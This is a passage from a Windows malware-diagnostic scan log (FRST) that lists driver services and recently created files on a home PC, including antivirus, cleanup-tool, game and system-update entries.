  251. R3 L1C; C:\Windows\System32\DRIVERS\L1C62x64.sys [129224 2013-11-29] (Qualcomm Atheros Co., Ltd.)
  252. R3 Neo_VPN; C:\Windows\System32\DRIVERS\Neo_0100.sys [28768 2014-05-31] (SoftEther VPN Project at University of Tsukuba, Japan.)
  253. R1 NNSALPC; C:\Windows\System32\DRIVERS\NNSAlpc.sys [93968 2015-02-09] (Panda Security, S.L.)
  254. R1 NNSHTTP; C:\Windows\System32\DRIVERS\NNSHttp.sys [202000 2015-02-09] (Panda Security, S.L.)
  255. R1 NNSHTTPS; C:\Windows\System32\DRIVERS\NNSHttps.sys [110864 2015-02-09] (Panda Security, S.L.)
  256. R1 NNSIDS; C:\Windows\System32\DRIVERS\NNSIds.sys [116496 2015-02-09] (Panda Security, S.L.)
  257. R1 NNSNAHSL; C:\Windows\System32\DRIVERS\NNSNAHSL.sys [48400 2014-12-31] (Panda Security, S.L.)
  258. R1 NNSPICC; C:\Windows\System32\DRIVERS\NNSPicc.sys [99600 2015-02-09] (Panda Security, S.L.)
  259. R1 NNSPIHSW; C:\Windows\System32\DRIVERS\NNSPihsw.sys [69904 2015-02-09] (Panda Security, S.L.)
  260. R1 NNSPOP3; C:\Windows\System32\DRIVERS\NNSPop3.sys [124176 2015-02-09] (Panda Security, S.L.)
  261. R1 NNSPROT; C:\Windows\System32\DRIVERS\NNSProt.sys [299792 2015-02-09] (Panda Security, S.L.)
  262. R1 NNSPRV; C:\Windows\System32\DRIVERS\NNSPrv.sys [166160 2015-02-09] (Panda Security, S.L.)
  263. R1 NNSSMTP; C:\Windows\System32\DRIVERS\NNSSmtp.sys [113424 2015-02-09] (Panda Security, S.L.)
  264. R1 NNSSTRM; C:\Windows\System32\DRIVERS\NNSStrm.sys [257296 2015-02-09] (Panda Security, S.L.)
  265. R1 NNSTLSC; C:\Windows\System32\DRIVERS\NNSTlsc.sys [106256 2015-02-09] (Panda Security, S.L.)
  266. S3 nvvad_WaveExtensible; C:\Windows\System32\drivers\nvvad64v.sys [38032 2014-11-22] (NVIDIA Corporation)
  267. R2 PSINAflt; C:\Windows\System32\DRIVERS\PSINAflt.sys [163600 2015-04-21] (Panda Security, S.L.)
  268. R2 PSINFile; C:\Windows\System32\DRIVERS\PSINFile.sys [121616 2015-02-25] (Panda Security, S.L.)
  269. R1 PSINKNC; C:\Windows\System32\DRIVERS\psinknc.sys [197392 2015-02-25] (Panda Security, S.L.)
  270. R2 PSINProc; C:\Windows\System32\DRIVERS\PSINProc.sys [124176 2015-02-25] (Panda Security, S.L.)
  271. R2 PSINProt; C:\Windows\System32\DRIVERS\PSINProt.sys [133904 2015-02-25] (Panda Security, S.L.)
  272. R2 PSINReg; C:\Windows\System32\DRIVERS\PSINReg.sys [107792 2015-02-25] (Panda Security, S.L.)
  273. R3 PSKMAD; C:\Windows\System32\DRIVERS\PSKMAD.sys [61712 2015-01-29] (Panda Security, S.L.)
  274. S3 ptun0901; C:\Windows\System32\DRIVERS\ptun0901.sys [40664 2014-03-10] (The OpenVPN Project)
  275. S3 SEE; C:\Windows\System32\drivers\see.sys [38240 2014-05-31] (SoftEther VPN Project at University of Tsukuba, Japan.)
  276. S3 Synth3dVsc; No ImagePath
  277. S3 taphss6; C:\Windows\System32\DRIVERS\taphss6.sys [42184 2014-05-16] (Anchorfree Inc.)
  278. S3 tsusbhub; No ImagePath
  279. S3 VGPU; No ImagePath
  280. S3 catchme; \??\C:\ComboFix\catchme.sys [X]
  281. S0 MBAMSwissArmy; system32\drivers\MBAMSwissArmy.sys [X]
  282.  
  283. ==================== NetSvcs (Whitelisted) ===================
  284.  
  285. (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
  286.  
  287.  
  288. ==================== One Month Created files and folders ========
  289.  
  290. (If an entry is included in the fixlist, the file/folder will be moved.)
  291.  
  292. 2015-06-11 09:31 - 2015-06-11 09:32 - 00028951 _____ C:\Users\KAT\Downloads\FRST.txt
  293. 2015-06-11 09:31 - 2015-06-11 09:31 - 00000000 ____D C:\FRST
  294. 2015-06-11 09:30 - 2015-06-11 09:30 - 02108928 _____ (Farbar) C:\Users\KAT\Downloads\FRST64.exe
  295. 2015-06-10 23:23 - 2015-06-10 23:23 - 00034642 _____ C:\ComboFix.txt
  296. 2015-06-10 20:35 - 2015-01-29 12:21 - 00061712 _____ (Panda Security, S.L.) C:\Windows\system32\Drivers\PSKMAD.sys
  297. 2015-06-10 20:06 - 2015-06-10 20:06 - 00000207 _____ C:\Windows\tweaking.com-regbackup-KAT-PC-Windows-7-Ultimate-(64-bit).dat
  298. 2015-06-10 20:06 - 2015-06-10 20:06 - 00000000 ____D C:\RegBackup
  299. 2015-06-10 20:05 - 2011-06-26 01:45 - 00256000 _____ C:\Windows\PEV.exe
  300. 2015-06-10 20:05 - 2010-11-07 12:20 - 00208896 _____ C:\Windows\MBR.exe
  301. 2015-06-10 20:05 - 2009-04-19 23:56 - 00060416 _____ (NirSoft) C:\Windows\NIRCMD.exe
  302. 2015-06-10 20:05 - 2000-08-30 19:00 - 00518144 _____ (SteelWerX) C:\Windows\SWREG.exe
  303. 2015-06-10 20:05 - 2000-08-30 19:00 - 00406528 _____ (SteelWerX) C:\Windows\SWSC.exe
  304. 2015-06-10 20:05 - 2000-08-30 19:00 - 00098816 _____ C:\Windows\sed.exe
  305. 2015-06-10 20:05 - 2000-08-30 19:00 - 00080412 _____ C:\Windows\grep.exe
  306. 2015-06-10 20:05 - 2000-08-30 19:00 - 00068096 _____ C:\Windows\zip.exe
  307. 2015-06-10 20:04 - 2015-06-10 23:23 - 00000000 ____D C:\Qoobox
  308. 2015-06-10 20:03 - 2015-06-10 20:40 - 00000000 ____D C:\Windows\erdnt
  309. 2015-06-10 20:01 - 2015-06-11 09:30 - 00000000 ____D C:\AdwCleaner
  310. 2015-06-10 20:00 - 2015-06-10 20:00 - 02231296 _____ C:\Users\KAT\Downloads\AdwCleaner.exe
  311. 2015-06-10 19:54 - 2015-06-10 19:57 - 00002041 _____ C:\Users\Public\Desktop\Avast Free Antivirus.lnk
  312. 2015-06-10 19:54 - 2015-06-10 19:54 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AVAST Software
  313. 2015-06-10 19:53 - 2015-06-10 19:52 - 00442264 _____ (Avast Software s.r.o.) C:\Windows\system32\Drivers\aswSP.sys
  314. 2015-06-10 19:53 - 2015-06-10 19:52 - 00272248 _____ C:\Windows\system32\Drivers\aswVmm.sys
  315. 2015-06-10 19:53 - 2015-06-10 19:52 - 00089944 _____ (Avast Software s.r.o.) C:\Windows\system32\Drivers\aswMonFlt.sys
  316. 2015-06-10 19:53 - 2015-06-10 19:52 - 00065736 _____ C:\Windows\system32\Drivers\aswRvrt.sys
  317. 2015-06-10 19:53 - 2015-06-10 19:52 - 00029168 _____ C:\Windows\system32\Drivers\aswHwid.sys
  318. 2015-06-10 19:52 - 2015-06-10 19:52 - 00364472 _____ (Avast Software s.r.o.) C:\Windows\system32\aswBoot.exe
  319. 2015-06-10 19:52 - 2015-06-10 19:52 - 00043112 _____ (Avast Software s.r.o.) C:\Windows\avastSS.scr
  320. 2015-06-10 19:52 - 2015-06-10 19:51 - 01047320 _____ (Avast Software s.r.o.) C:\Windows\system32\Drivers\aswSnx.sys
  321. 2015-06-10 19:40 - 2015-06-10 19:40 - 00000000 ____D C:\Program Files\AVAST Software
  322. 2015-06-10 19:37 - 2015-06-10 19:37 - 00353664 _____ (AVAST Software s. r. o.) C:\Windows\AswCheck.exe
  323. 2015-06-10 19:37 - 2015-06-10 19:37 - 00000000 ____D C:\Windows\System32\Tasks\AVAST Software
  324. 2015-06-10 13:07 - 2015-06-10 13:07 - 00001374 _____ C:\Users\KAT\Desktop\The Witcher 3 Wild Hunt.lnk
  325. 2015-06-10 13:07 - 2015-06-10 13:07 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\by.xatab
  326. 2015-06-10 12:48 - 2015-06-10 19:40 - 00000000 ____H C:\ProgramData\@system.temp
  327. 2015-06-10 12:46 - 2015-06-10 20:30 - 00000000 ____D C:\Users\KAT\AppData\Roaming\ChromeUpdate
  328. 2015-06-10 11:44 - 2015-06-10 13:07 - 00000000 ____D C:\Program Files (x86)\The Witcher 3 Wild Hunt
  329. 2015-06-09 17:27 - 2015-06-09 17:27 - 00000000 ____D C:\Users\KAT\AppData\Local\piqod
  330. 2015-06-09 13:19 - 2015-06-09 13:19 - 00000218 _____ C:\Users\KAT\AppData\Local\recently-used.xbel
  331. 2015-06-08 16:32 - 2015-06-08 16:32 - 00008936 _____ C:\Users\KAT\Documents\My Movie.wlmp
  332. 2015-06-08 16:05 - 2015-06-08 16:05 - 00000000 ____D C:\Users\KAT\Documents\Any Video Converter Ultimate
  333. 2015-06-08 16:04 - 2015-06-08 16:05 - 00000000 ____D C:\Users\KAT\AppData\Roaming\Anvsoft
  334. 2015-06-08 16:04 - 2015-06-08 16:04 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Anvsoft
  335. 2015-06-08 16:04 - 2015-06-08 16:04 - 00000000 ____D C:\Program Files (x86)\Anvsoft
  336. 2015-06-08 16:04 - 2011-11-28 14:51 - 00033872 _____ (AnvSoft Inc.) C:\Windows\system32\Drivers\anvsnddrv.sys
  337. 2015-06-08 14:37 - 2015-06-09 17:18 - 00000000 ____D C:\Users\KAT\AppData\Roaming\vlc
  338. 2015-06-07 18:54 - 2015-06-07 18:54 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\i-Funbox DevTeam
  339. 2015-06-07 18:54 - 2015-06-07 18:54 - 00000000 ____D C:\Program Files (x86)\i-Funbox DevTeam
  340. 2015-06-07 12:17 - 2015-06-07 12:17 - 00000000 ____D C:\Users\KAT\AppData\Local\ITKsoft
  341. 2015-06-07 08:24 - 2015-06-07 08:24 - 00000222 _____ C:\Users\KAT\Desktop\Tabletop Simulator.url
  342. 2015-06-06 12:19 - 2015-06-06 12:19 - 00092496 _____ C:\Users\KAT\AppData\Local\GDIPFONTCACHEV1.DAT
  343. 2015-06-06 12:00 - 2015-06-06 12:00 - 00000000 ____D C:\Users\Public\Documents\iSkysoft
  344. 2015-06-05 17:04 - 2015-06-05 17:06 - 00013279 ____H C:\Users\KAT\Desktop\~WRL3420.tmp
  345. 2015-06-05 16:41 - 2015-06-05 16:41 - 00000000 ____D C:\Users\KAT\AppData\Roaming\Panda Security
  346. 2015-06-05 16:40 - 2015-06-05 16:41 - 00000000 ____D C:\Program Files (x86)\Panda Security
  347. 2015-06-05 16:40 - 2015-06-05 16:40 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Panda Antivirus Pro 2015
  348. 2015-06-05 16:18 - 2015-06-10 19:38 - 00000000 ____D C:\ProgramData\AVAST Software
  349. 2015-06-05 16:12 - 2015-06-05 16:41 - 00000000 ____D C:\ProgramData\Panda Security
  350. 2015-06-05 15:51 - 2015-06-05 16:03 - 00000292 _____ C:\Users\KAT\Documents\ATLAS.txt
  351. 2015-06-04 16:53 - 2015-06-04 16:53 - 01101692 _____ (Keyi Zhang (Kuree) ) C:\Users\KAT\Downloads\s4pe.0.3.b.exe
  352. 2015-06-04 12:15 - 2015-06-04 12:15 - 00000480 ____H C:\Users\KAT\AppData\Roaming\麽鎒駓覜
  353. 2015-06-04 12:12 - 2015-06-04 12:12 - 00002068 _____ C:\Users\KAT\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\RuneScape.lnk
  354. 2015-06-04 12:12 - 2015-06-04 12:12 - 00000000 ____D C:\Windows\.jagex_cache_32
  355. 2015-06-04 12:12 - 2015-06-04 12:12 - 00000000 ____D C:\Users\KAT\jagexcache
  356. 2015-06-04 12:12 - 2015-06-04 12:12 - 00000000 ____D C:\Users\KAT\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\RuneScape
  357. 2015-06-03 16:34 - 2015-06-03 16:34 - 00000385 _____ C:\Windows\system32\user_gensett.xml
  358. 2015-06-03 16:33 - 2015-06-03 16:37 - 00000000 ____D C:\ProgramData\BDLogging
  359. 2015-06-03 16:33 - 2014-12-02 16:37 - 00074000 _____ (BitDefender SRL) C:\Windows\SysWOW64\bdsandboxuiskin32.dll
  360. 2015-06-03 16:33 - 2007-04-11 11:11 - 00511328 _____ (Microsoft Corporation) C:\Windows\capicom.dll
  361. 2015-06-03 16:32 - 2015-06-03 16:32 - 00000034 _____ C:\Users\KAT\Documents\uhrs.txt
  362. 2015-06-03 16:29 - 2015-06-03 16:29 - 00000000 _____ C:\Windows\system32\BDSandBoxUISkin32.dll
  363. 2015-06-03 16:29 - 2014-12-02 16:37 - 00084336 _____ (BitDefender SRL) C:\Windows\system32\BDSandBoxUISkin.dll
  364. 2015-06-03 16:29 - 2014-12-02 13:37 - 00033360 _____ (BitDefender SRL) C:\Windows\system32\BDSandBoxUH.dll
  365. 2015-06-03 16:17 - 2015-06-03 18:13 - 00000000 ____D C:\Program Files\Common Files\Bitdefender
  366. 2015-06-03 15:48 - 2015-06-03 15:48 - 00000000 ____D C:\ProgramData\LockHunter
  367. 2015-06-03 15:47 - 2015-06-03 15:47 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\LockHunter
  368. 2015-06-03 15:47 - 2015-06-03 15:47 - 00000000 ____D C:\Program Files\LockHunter
  369. 2015-06-03 13:01 - 2015-06-03 13:01 - 00000000 ____D C:\ProgramData\Malwarebytes
  370. 2015-06-03 12:44 - 2015-06-03 18:09 - 00000000 ____D C:\Windows\pss
  371. 2015-06-03 12:41 - 2015-06-11 09:22 - 00000830 _____ C:\Windows\Tasks\Adobe Flash Player Updater.job
  372. 2015-06-03 12:41 - 2015-06-03 12:41 - 00003768 _____ C:\Windows\System32\Tasks\Adobe Flash Player Updater
  373. 2015-06-03 12:19 - 2015-06-10 19:45 - 00000440 __RSH C:\Users\KAT\ntuser.pol
  374. 2015-06-02 13:51 - 2015-06-02 13:51 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Visual MP3 Splitter & Joiner
  375. 2015-06-02 13:50 - 2015-06-05 22:33 - 00000000 ____D C:\Program Files (x86)\Visual MP3 Splitter & Joiner
  376. 2015-06-02 13:47 - 2015-06-02 13:48 - 00000000 ____D C:\Users\KAT\AppData\Roaming\Meda MP3 Joiner 1.2
  377. 2015-06-02 13:34 - 2015-06-02 13:34 - 00000000 ____D C:\Program Files (x86)\mp3joiner_setup
  378. 2015-06-01 16:17 - 2015-06-01 16:17 - 00000000 ___RD C:\MSOCache
  379. 2015-06-01 13:15 - 2015-06-01 13:20 - 49450710 _____ C:\Users\KAT\Downloads\Max.mp4
  380. 2015-05-31 15:02 - 2015-05-12 01:27 - 42718864 _____ C:\Windows\system32\nvcompiler.dll
  381. 2015-05-31 15:02 - 2015-05-12 01:27 - 37741712 _____ C:\Windows\SysWOW64\nvcompiler.dll
  382. 2015-05-31 15:02 - 2015-05-12 01:27 - 30478992 _____ (NVIDIA Corporation) C:\Windows\system32\nvoglv64.dll
  383. 2015-05-31 15:02 - 2015-05-12 01:27 - 22945424 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvoglv32.dll
  384. 2015-05-31 15:02 - 2015-05-12 01:27 - 16145176 _____ (NVIDIA Corporation) C:\Windows\system32\nvopencl.dll
  385. 2015-05-31 15:02 - 2015-05-12 01:27 - 15858728 _____ (NVIDIA Corporation) C:\Windows\system32\nvd3dumx.dll
  386. 2015-05-31 15:02 - 2015-05-12 01:27 - 14455296 _____ (NVIDIA Corporation) C:\Windows\system32\nvcuda.dll
  387. 2015-05-31 15:02 - 2015-05-12 01:27 - 13263568 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvopencl.dll
  388. 2015-05-31 15:02 - 2015-05-12 01:27 - 12849056 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvd3dum.dll
  389. 2015-05-31 15:02 - 2015-05-12 01:27 - 11790144 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvcuda.dll
  390. 2015-05-31 15:02 - 2015-05-12 01:27 - 10972304 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvlddmkm.sys
  391. 2015-05-31 15:02 - 2015-05-12 01:27 - 03363224 _____ (NVIDIA Corporation) C:\Windows\system32\nvapi64.dll
  392. 2015-05-31 15:02 - 2015-05-12 01:27 - 02971776 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvapi.dll
  393. 2015-05-31 15:02 - 2015-05-12 01:27 - 02932368 _____ (NVIDIA Corporation) C:\Windows\system32\nvcuvid.dll
  394. 2015-05-31 15:02 - 2015-05-12 01:27 - 02599056 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvcuvid.dll
  395. 2015-05-31 15:02 - 2015-05-12 01:27 - 01898312 _____ (NVIDIA Corporation) C:\Windows\system32\nvdispco6435286.dll
  396. 2015-05-31 15:02 - 2015-05-12 01:27 - 01557648 _____ (NVIDIA Corporation) C:\Windows\system32\nvdispgenco6435286.dll
  397. 2015-05-31 15:02 - 2015-05-12 01:27 - 01059984 _____ (NVIDIA Corporation) C:\Windows\system32\NvIFR64.dll
  398. 2015-05-31 15:02 - 2015-05-12 01:27 - 01050256 _____ (NVIDIA Corporation) C:\Windows\system32\NvFBC64.dll
  399. 2015-05-31 15:02 - 2015-05-12 01:27 - 00982672 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\NvIFR.dll
  400. 2015-05-31 15:02 - 2015-05-12 01:27 - 00974480 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\NvFBC.dll
  401. 2015-05-31 15:02 - 2015-05-12 01:27 - 00502896 _____ (NVIDIA Corporation) C:\Windows\system32\nvEncodeAPI64.dll
  402. 2015-05-31 15:02 - 2015-05-12 01:27 - 00408208 _____ (NVIDIA Corporation) C:\Windows\system32\NvIFROpenGL.dll
  403. 2015-05-31 15:02 - 2015-05-12 01:27 - 00407296 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvEncodeAPI.dll
  404. 2015-05-31 15:02 - 2015-05-12 01:27 - 00364176 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\NvIFROpenGL.dll
  405. 2015-05-31 14:59 - 2015-05-31 14:59 - 00000000 ____D C:\NVIDIA
  406. 2015-05-31 11:56 - 2015-05-31 11:56 - 00000000 ____D C:\ProgramData\Drastic
  407. 2015-05-31 11:55 - 2015-05-31 11:55 - 00001019 _____ C:\Users\KAT\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\ccConvert.lnk
  408. 2015-05-31 11:55 - 2015-05-31 11:55 - 00000000 ___HD C:\Program Files (x86)\InstallJammer Registry
  409. 2015-05-31 11:55 - 2015-05-31 11:55 - 00000000 ____D C:\Users\KAT\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\ccConvert
  410. 2015-05-31 11:54 - 2015-05-31 11:54 - 00000000 ____D C:\Users\KAT\AppData\Roaming\Drastic
  411. 2015-05-31 11:54 - 2015-05-31 11:54 - 00000000 ____D C:\Program Files (x86)\ccConvert
  412. 2015-05-31 11:44 - 2015-05-31 11:44 - 00000000 _____ C:\Windows\SysWOW64\RENC23.tmp
  413. 2015-05-31 11:04 - 2015-05-31 11:04 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN
  414. 2015-05-31 09:28 - 2015-05-31 09:28 - 00000222 _____ C:\Users\KAT\Desktop\Life Is Strange.url
  415. 2015-05-30 12:57 - 2015-05-30 12:58 - 00018397 _____ C:\Windows\DirectX.log
  416. 2015-05-30 12:24 - 2015-05-30 12:24 - 00000222 _____ C:\Users\KAT\Desktop\Don't Starve Together Beta.url
  417. 2015-05-29 13:04 - 2015-05-29 13:04 - 00000000 ____D C:\Program Files (x86)\Millisecond Software
  418. 2015-05-28 22:17 - 2015-05-01 08:17 - 00124112 _____ (Microsoft Corporation) C:\Windows\system32\PresentationCFFRasterizerNative_v0300.dll
  419. 2015-05-28 22:17 - 2015-05-01 08:16 - 00102608 _____ (Microsoft Corporation) C:\Windows\SysWOW64\PresentationCFFRasterizerNative_v0300.dll
  420. 2015-05-28 22:13 - 2015-04-21 21:28 - 00389840 _____ (Microsoft Corporation) C:\Windows\system32\iedkcs32.dll
  421. 2015-05-28 22:13 - 2015-04-21 20:48 - 00342736 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iedkcs32.dll
  422. 2015-05-28 22:13 - 2015-04-21 12:14 - 24971776 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll
  423. 2015-05-28 22:13 - 2015-04-21 12:08 - 02724864 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.tlb
  424. 2015-05-28 22:13 - 2015-04-21 12:07 - 00004096 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollectorres.dll
  425. 2015-05-28 22:13 - 2015-04-21 11:51 - 00066560 _____ (Microsoft Corporation) C:\Windows\system32\iesetup.dll
  426. 2015-05-28 22:13 - 2015-04-21 11:50 - 00584192 _____ (Microsoft Corporation) C:\Windows\system32\vbscript.dll
  427. 2015-05-28 22:13 - 2015-04-21 11:50 - 00417792 _____ (Microsoft Corporation) C:\Windows\system32\html.iec
  428. 2015-05-28 22:13 - 2015-04-21 11:50 - 00048640 _____ (Microsoft Corporation) C:\Windows\system32\ieetwproxystub.dll
  429. 2015-05-28 22:13 - 2015-04-21 11:49 - 02885120 _____ (Microsoft Corporation) C:\Windows\system32\iertutil.dll
  430. 2015-05-28 22:13 - 2015-04-21 11:48 - 00088064 _____ (Microsoft Corporation) C:\Windows\system32\MshtmlDac.dll
  431. 2015-05-28 22:13 - 2015-04-21 11:41 - 00054784 _____ (Microsoft Corporation) C:\Windows\system32\jsproxy.dll
  432. 2015-05-28 22:13 - 2015-04-21 11:40 - 00034304 _____ (Microsoft Corporation) C:\Windows\system32\iernonce.dll
  433. 2015-05-28 22:13 - 2015-04-21 11:37 - 00633856 _____ (Microsoft Corporation) C:\Windows\system32\ieui.dll
  434. 2015-05-28 22:13 - 2015-04-21 11:35 - 00816640 _____ (Microsoft Corporation) C:\Windows\system32\jscript.dll
  435. 2015-05-28 22:13 - 2015-04-21 11:35 - 00144384 _____ (Microsoft Corporation) C:\Windows\system32\ieUnatt.exe
  436. 2015-05-28 22:13 - 2015-04-21 11:35 - 00114688 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollector.exe
  437. 2015-05-28 22:13 - 2015-04-21 11:34 - 00814080 _____ (Microsoft Corporation) C:\Windows\system32\jscript9diag.dll
  438. 2015-05-28 22:13 - 2015-04-21 11:31 - 06025728 _____ (Microsoft Corporation) C:\Windows\system32\jscript9.dll
  439. 2015-05-28 22:13 - 2015-04-21 11:26 - 00968704 _____ (Microsoft Corporation) C:\Windows\system32\MsSpellCheckingFacility.exe
  440. 2015-05-28 22:13 - 2015-04-21 11:25 - 02724864 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.tlb
  441. 2015-05-28 22:13 - 2015-04-21 11:24 - 19691008 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll
  442. 2015-05-28 22:13 - 2015-04-21 11:22 - 00490496 _____ (Microsoft Corporation) C:\Windows\system32\dxtmsft.dll
  443. 2015-05-28 22:13 - 2015-04-21 11:14 - 00077824 _____ (Microsoft Corporation) C:\Windows\system32\JavaScriptCollectionAgent.dll
  444. 2015-05-28 22:13 - 2015-04-21 11:11 - 00504320 _____ (Microsoft Corporation) C:\Windows\SysWOW64\vbscript.dll
  445. 2015-05-28 22:13 - 2015-04-21 11:11 - 00062464 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iesetup.dll
  446. 2015-05-28 22:13 - 2015-04-21 11:10 - 00047616 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieetwproxystub.dll
  447. 2015-05-28 22:13 - 2015-04-21 11:09 - 00341504 _____ (Microsoft Corporation) C:\Windows\SysWOW64\html.iec
  448. 2015-05-28 22:13 - 2015-04-21 11:09 - 00199680 _____ (Microsoft Corporation) C:\Windows\system32\msrating.dll
  449. 2015-05-28 22:13 - 2015-04-21 11:08 - 00092160 _____ (Microsoft Corporation) C:\Windows\system32\mshtmled.dll
  450. 2015-05-28 22:13 - 2015-04-21 11:08 - 00064000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MshtmlDac.dll
  451. 2015-05-28 22:13 - 2015-04-21 11:05 - 00316928 _____ (Microsoft Corporation) C:\Windows\system32\dxtrans.dll
  452. 2015-05-28 22:13 - 2015-04-21 11:04 - 02278400 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iertutil.dll
  453. 2015-05-28 22:13 - 2015-04-21 11:03 - 00047104 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jsproxy.dll
  454. 2015-05-28 22:13 - 2015-04-21 11:02 - 00030720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iernonce.dll
  455. 2015-05-28 22:13 - 2015-04-21 11:00 - 00478208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieui.dll
  456. 2015-05-28 22:13 - 2015-04-21 10:58 - 00664576 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript.dll
  457. 2015-05-28 22:13 - 2015-04-21 10:58 - 00115712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieUnatt.exe
  458. 2015-05-28 22:13 - 2015-04-21 10:57 - 00620032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9diag.dll
  459. 2015-05-28 22:13 - 2015-04-21 10:49 - 00801280 _____ (Microsoft Corporation) C:\Windows\system32\msfeeds.dll
  460. 2015-05-28 22:13 - 2015-04-21 10:49 - 00720384 _____ (Microsoft Corporation) C:\Windows\system32\ie4uinit.exe
  461. 2015-05-28 22:13 - 2015-04-21 10:48 - 00418304 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtmsft.dll
  462. 2015-05-28 22:13 - 2015-04-21 10:47 - 01359360 _____ (Microsoft Corporation) C:\Windows\system32\mshtmlmedia.dll
  463. 2015-05-28 22:13 - 2015-04-21 10:46 - 02125824 _____ (Microsoft Corporation) C:\Windows\system32\inetcpl.cpl
  464. 2015-05-28 22:13 - 2015-04-21 10:43 - 00060416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\JavaScriptCollectionAgent.dll
  465. 2015-05-28 22:13 - 2015-04-21 10:40 - 14401536 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll
  466. 2015-05-28 22:13 - 2015-04-21 10:39 - 00168960 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msrating.dll
  467. 2015-05-28 22:13 - 2015-04-21 10:38 - 00076288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmled.dll
  468. 2015-05-28 22:13 - 2015-04-21 10:36 - 00285696 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtrans.dll
  469. 2015-05-28 22:13 - 2015-04-21 10:31 - 04305920 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9.dll
  470. 2015-05-28 22:13 - 2015-04-21 10:27 - 02352128 _____ (Microsoft Corporation) C:\Windows\system32\wininet.dll
  471. 2015-05-28 22:13 - 2015-04-21 10:26 - 00688640 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msfeeds.dll
  472. 2015-05-28 22:13 - 2015-04-21 10:25 - 02052608 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcpl.cpl
  473. 2015-05-28 22:13 - 2015-04-21 10:24 - 01155072 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmlmedia.dll
  474. 2015-05-28 22:13 - 2015-04-21 10:17 - 12828672 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll
  475. 2015-05-28 22:13 - 2015-04-21 10:15 - 01547264 _____ (Microsoft Corporation) C:\Windows\system32\urlmon.dll
  476. 2015-05-28 22:13 - 2015-04-21 10:03 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\ieapfltr.dll
  477. 2015-05-28 22:13 - 2015-04-21 10:02 - 01882112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wininet.dll
  478. 2015-05-28 22:13 - 2015-04-21 09:58 - 01310208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\urlmon.dll
  479. 2015-05-28 22:13 - 2015-04-21 09:56 - 00710144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieapfltr.dll
  480. 2015-05-28 22:09 - 2015-05-04 20:29 - 00342016 _____ (Microsoft Corporation) C:\Windows\system32\schannel.dll
  481. 2015-05-28 22:09 - 2015-05-04 20:12 - 00248832 _____ (Microsoft Corporation) C:\Windows\SysWOW64\schannel.dll
  482. 2015-05-28 22:09 - 2015-04-19 22:17 - 01647104 _____ (Microsoft Corporation) C:\Windows\system32\DWrite.dll
  483. 2015-05-28 22:09 - 2015-04-19 22:17 - 01179136 _____ (Microsoft Corporation) C:\Windows\system32\FntCache.dll
  484. 2015-05-28 22:09 - 2015-04-19 21:56 - 01250816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\DWrite.dll
  485. 2015-05-28 22:09 - 2015-04-19 21:11 - 03204608 _____ (Microsoft Corporation) C:\Windows\system32\win32k.sys
  486. 2015-05-28 22:09 - 2015-04-17 22:10 - 00460800 _____ (Microsoft Corporation) C:\Windows\system32\certcli.dll
  487. 2015-05-28 22:09 - 2015-04-17 21:56 - 00342016 _____ (Microsoft Corporation) C:\Windows\SysWOW64\certcli.dll
  488. 2015-05-28 22:09 - 2015-04-03 22:29 - 00155576 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ksecpkg.sys
  489. 2015-05-28 22:09 - 2015-04-03 22:29 - 00095680 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ksecdd.sys
